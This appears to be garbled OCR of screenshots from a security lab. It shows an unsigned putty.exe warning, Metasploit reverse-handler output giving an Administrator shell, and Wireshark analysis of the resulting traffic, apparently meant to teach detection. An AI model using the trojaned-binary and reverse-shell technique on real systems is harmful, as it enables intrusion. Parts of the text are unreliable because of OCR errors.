‘The publisher could not be verified. Are you sure you want to run this.
software?

Name: putty.exe

L =

This fie does not have a vald digtal signature that verifie ts publisher. You
should only run software from publishers you trust. How can I dedde what
software to run?
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Insf  exploit(handler) > exploit

[*] Started reverse handler on 216.6.1.100:443
[*] Starting the payload handler...

[*] Sending stage (240 bytes) to 216.1.1.1

Microsoft Windows [Version 6.0.6001
Copyright (c) 2006 Microsoft Corporation. All rights reserved.

C:\Users\Administrator\Desktop>
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C:\Users\Administrator\Desktop>dir
(hig

Volume in drive C has no label.
Volume Serial Number is 2891-8AEB

Directory of C:\Users\Administrator\Desktop

05/20/2014 11:59 PM <DIR>
05/20/2014 11:59 PM <DIR>

01/16/2013 10:23 AM 1,507 Command Prompt.lnk
05/20/2014 11:59 PM 779 hMailServer Administrator.lnk
05/20/2014 08:31 PM 3,127,633 hMailServer-5.3.3-B1879.exe

3 File(s) 3,129,919 bytes

2 Dir(s) 1,883,553,792 bytes free
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L badtraffic.cap - Wireshal
File Edit View Go Capture Analyze Statistics Telephony Tools Help

BEEee odxo= 00 so00 BEH =8

Filter: | | - | Expression... Clear Apply

No. Time Source Destination Protocol Info =
451919.521581 192.168.1.100 216.1.1.100 Tcp 57997 > https [
452 919.521915 216.1.1.160 192.168.1.100 Tcp https > 57997 [¢
453 919.521987 192.168.1.100 216.1.1.100 Tcp 57997 > https [/
454 919.522972 216.1.1.1060 192.168.1.100 Tcp [TCP segment of
455 919.712834 192.168.1.100 216.1.1.100 Tcp 57997 > https [/
456 919.713127 216.1.1.1060 192.168.1.100 TCcP [TCP segment of

457 919.774924  192.168.1.100 216.1.1.100 SSL. Continuation Da




image75.png
badtraffic.cap - Wireshali
File Edit View Go Capture Analyze Statistics Telephony Tools Help

Blaeoeaa A% 0 = 00 BE ® = §

Filter: [frame contains "Microsoft Windows" - | Expression... Clear Apply

No. Time Source Destination Protocol Info
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badtraffic.cap - Wireshark,
File Edit View Go Capture Analyze Statistics Telephony Tools Help

BEeea odxoe = “009

Filter: |frame contains "Microsoft Windows"

457 919.774924  192.168.1.100 .
Mark Packet (toggle)
Ignore Packet (toggle)

© Set Time Reference (toggle)

Manually Resolve Address
Apply as Filter
Prepare a Filter
Conversation Filter
Colorize Conversation

Follow TCP Stream
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Follow TCP Stream

Stream Content

.......... *..1.d.RO.R..R..r(..J&1.1..<al.,
..RW.R..B<...(dx..tJ..P.H..X <I.4...1.1....
b HULXLXSL L FLLKLX. L $$[[a¥ZQ..X_Z....lhcnd. . .WWWL.j.YV. . f.D$<...D
DTPVVVFVNVVSVhy 7.....NVF.6h. <
,6.107.5. .icrosoft Windows [Version 6.6,6001]
Copyrlght (c) 2006 Microsoft Corporation. All rights reserved.

C:\Users\Administrator\Desktop>dir
dir

Volume in drive C has no label.
Volume Serial Number is 2891-8AEB

Directory of C:\Users\Administrator\Desktop

06/10/2014 09:19 AM <DIR>
06/10/2014 09:19 AM <DIR>

01/16/2013 10:23 AM 1,507 Command Prompt.lnk
05/20/2014 11:59 PM 779 hMailServer Administrator.lnk
06/09/2014 08:33 PM 855 Internet Explorer.lnk

3 File(s) 3,141 bytes

Find | Save As| Print | Entire conversation (916 bytes) - |0 asci o esecpic o
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